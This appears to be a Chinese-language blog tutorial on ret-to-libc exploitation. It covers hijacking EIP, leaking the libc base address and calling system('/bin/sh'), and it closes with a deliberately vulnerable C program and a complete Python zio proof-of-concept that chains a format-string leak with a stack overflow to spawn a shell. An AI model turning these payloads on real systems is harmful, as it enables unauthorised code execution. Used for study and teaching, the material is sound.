0day之ret to libc

简介

在0day攻击当中有许多的技巧,这次介绍一种常用的攻击手段。ret to libc与栈溢出,堆溢出之类的漏洞利用技巧有所不同。ret to libc是一种在漏洞攻击中的常用的思路。目的是最大化利用所发现的漏洞,实现我们最终的目标get shell

首先,我们来认识一个c语言的库函数

int system(const char * string);

这个函数的的功能很简单,执行一条shell命令。而ret to libc目标很简单,就是用我们指定的参数执行这一函数。当然想要执行什么命令就要看具体情况了,最通用的就是执行/bin/sh命令,这样我们就可以远程打开一个终端。然后嘛(→_→)我就不知道了。

其实ret to libc还有一个老大哥,就是shellcode。不过随着计算机安全防护技术的发展,shellcode已经渐渐的失去了用武之地。

利用方法

PS:此处利用环境是linux下。windows下略有不同
ret to libc这种攻击方法需要三个前置的条件,只有三个条件同时满足才能成功

控制EIP

我们第一件要做的事情就是要控制EIP。至于如何控制就要看具体的情况了。
这里介绍几个常用可以控制EIP的方法。
1.函数返回地址
最常见的控制EIP的地方,函数调用的时候都会将返回地址放在栈中,如果修改这个值,就以控制程序跳转到我们需要的地方。最常见的修改返回地址的方法就是用栈溢出覆盖,当然还有许许多多脑洞大开的方法。

2.got表
got表也是一个经常利用来控制EIP的地方,可以查阅一下 --> 延迟绑定技术
其实很简单,我们所有对c库函数的调用,都是通过一些指向函数的指针来完成的,这些指向函数的指针放在一起,就是一个got表。比如got表中有一个指向free函数的指针。我们把它指向的地址改成了指向system,那么所有调用free的函数就都变成了调用system

3.c++虚函数表指针
在c++的虚函数指针会存放在对象内存的第一个位置。如果能够改写它的位置,使它指向我们所设计“虚函数表”。然后调用虚函数,程序就会跳转到我们想要的地方了。
当然,还有一个方法就是直接修改实例指针,也可以实现这一点,当然指针的指针的指针这种c/c++特产是少不了了。
篡改实例指针 --> 伪造的虚函数指针 --> 伪造的虚函数表 --> system函数

4.指向函数的指针
这个就多了去了,具体情况具体分析吧。

leak基地址

讲了这么多跳转到system函数的方法。但是必须要知道system函数的地址才能够跳转。然而system函数到底在哪里?
一般system函数会与所有的c库函数一起通过libc加载到程序中(linux下)。(所以叫ret to libc)每个c语言程序都可以调用system函数。而system函数在libc中的位置是固定的。objdump或者ida直接找到就可以了。关键的问题是我们不知道libc在加载到程序中后,它的基地址是多少。每次程序运行时,libc的基础地址会变动。要解决的问题就是leak(泄露)基地址。一旦得到基地址,就可以用 “基地址 + system在libc中地址”计算出system的真实地址。至于怎么leak基地址,那就要各显神通了。只要能够定位一个库函数的具体地址,就可以通过“函数地址 - 函数在libc中地址”反向计算出基地址
当然,这是在libc已知的情况下,如果不知道对方的libc版本,那么就需要leak出2个位于libc中的函数的地址,通过2个地址的差来确定libc的版本。

这里提供几个常见的方法。
1.栈帧中
恩,在栈中有一个这样的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:08048350                 public _start
.text:08048350 _start proc near
.text:08048350 xor ebp, ebp
.text:08048352 pop esi
.text:08048353 mov ecx, esp
.text:08048355 and esp, 0FFFFFFF0h
.text:08048358 push eax
.text:08048359 push esp
.text:0804835A push edx
.text:0804835B push offset __libc_csu_fini
.text:08048360 push offset __libc_csu_init
.text:08048365 push ecx
.text:08048366 push esi
.text:08048367 push offset main
.text:0804836C call libc_start_main
.text:08048371 hlt
.text:08048371 _start endp

仔细看这个每个程序中都有的启动函数start,它先调用了libc_start_main这个处于libc中的函数,然后由这个函数调用c程序的main函数的。所以maim函数的返回地址是指向libc的,只要leak出它的地址,然后在libc_start_main中找到相应的调用位置,就可以得到libc的基地址了。

2.got表中
既然在got表中有指向库函数的指针,那么只要能够leak出got表中的数据,计算出libc加载的基地址也就不难了。

3.爆破
libc加载的基地址虽然会随机变化,但是基本上随机性不大,如果有时间也可以选择暴力破解的方法,几天也就出来了。

控制system参数

32位的操作系统,函数的参数会用栈传递。如果是64位的操作系统,则会使用RCX寄存器来传递第一个参数。我们要做的就是在我们调用system函数的时候,栈中的指针或者是RCX的参数需要指向/bin/sh字符串。至于/bin/sh字符串,在libc中就存在,当然也可以自己构造,根据实际情况来确定。

这要有了以上的3个条件,就可以实现

system(“/bin/sh”);

这样的函数调用,从而获得对计算机的控制权,也就是get shell

实践

说了这么多。实践才是王道。我们真正的拿个shell来试试。
首先是代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
#include <string.h>
void a(void)
{

char a[5];
gets(a);
printf(a);
putchar('\n');
}
int main(void)
{

a();
return 0;
}

这里我编译时使用了-ffreestanding参数来关闭栈溢出保护。

gcc -ffreestanding test.c -o test

PS:这个程序如果真实的部署在服务器上会有问题,不是通常的socket程序的编写方式,不过这次使用本地测试,所以就偷懒了一点。

这个程序栈溢出和格式化字符串漏洞两者皆有,所以非常容易就可以拿到shell。

控制EIP,这个简单,直接使用栈溢出搞定。

‘a’17 + sys_addr + ‘a’4 + bin_addr

使用这样的输入就可以控制到EIP,只要找出system函数的地址和/bin/sh的地址填入sys_addr和bin_addr就可以拿到shell

然后是leak基地址。因为格式化字符串漏洞,所以我们leak在栈中的返回地址。分析2进制文件后使用

‘%f’*9 + ‘,%08x’

逗号后面的%x就会输出main函数的返回地址ret_main.
因为是本地测试,所以找到自己机器的libc中对应的system和/bin/sh还有call_main的地址。找到如下
libc_call_main = 0x00019A63
libc_sys_addr = 0x0003FCD0
libc_bin_addt = 0x0015DA84
可以计算出基地址了。

但是这里有一个问题,就是这个程序只会执行一次。但是我们需要先leak基地址再控制EIP两步。所以我们需要一种特殊的控制EIP技巧

最后的攻击思路是这样的

首先

‘%f’*8 + ‘a’ + ret_addr + ‘%f,%8x’

这里我们把leak基地址的步骤和控制EIP结合python在了一起。当然这时我们不知道基地址,所以无法直接跳转到system。这里的ret_addr我们填入的是调用a函数的那一条代码的地址。只要这样,a函数就会再运行一次。然后就可以使用

‘c’17 + sys_addr + ‘c’4 + bin_addr

现在就可以拿到shell了。
下面是完整的poc代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#! /usr/bin/python
from zio import *

libc_call_main = 0x00019A63
libc_sys_addr = 0x0003FCD0
libc_bin_addt = 0x0015DA84

ret_addr = 0x080484bf

io = zio('./test') #因为是本地,所以填入的是路径

io.writeline('%f'*8 + 'a' + l32(ret_addr) + '%f,%8x')
io.read_until(',')

base_addr = int(io.read(8),16) - libc_call_main
sys_addr = base_addr + libc_sys_addr
bin_addr = base_addr + libc_bin_addt
io.writeline('c'*17 + l32(sys_addr) + 'c'*4 + l32(bin_addr) + 'cc')
io.readline()

print 'now I get shell'
print '*****************************************'
io.interact()

这里我使用了蓝莲花的黑科技产品zio.py这个python包。相当好用。最后的结果

img